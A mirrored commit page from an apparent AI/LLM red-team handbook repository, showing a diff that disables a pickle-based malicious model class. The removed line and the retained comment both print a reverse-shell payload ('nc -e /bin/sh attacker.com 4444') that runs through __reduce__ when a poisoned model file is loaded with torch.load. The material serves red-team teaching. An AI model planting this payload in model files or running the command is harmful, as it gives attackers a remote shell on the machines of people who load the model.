CalvinBackup/ai-llm-red-team-handbook
1
0
Fork 0
mirror of https://github.com/Shiva108/ai-llm-red-team-handbook.git synced 2026-08-27 21:30:27 +02:00
Code Issues Packages Projects Releases Wiki Activity

feat: Enhance security by disabling RCE payloads, using environment variables for API keys, improving security test error handling, and refining socket resource management.

Browse Source
This commit is contained in:
shiva108
2026-01-15 10:18:04 +01:00
parent cbfd7ed8db
commit bac01b5977
6 changed files with 16 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files
scripts/utils/attack.py
+4 -1
View File
@@ -15,7 +15,10 @@ import sys
class MaliciousModel:
def __reduce__(self):
# This command runs when the victim does `torch.load('model.bin')`
return (os.system, ('nc -e /bin/sh attacker.com 4444',))
# SECURITY WARNING: The following line is commented out to prevent accidental RCE durng scans.
# return (os.system, ('nc -e /bin/sh attacker.com 4444',))
print("[-] RCE payload disabled for security.")
return (print, ("RCE payload disabled",))
# Generating the payload
# payload = pickle.dumps(MaliciousModel())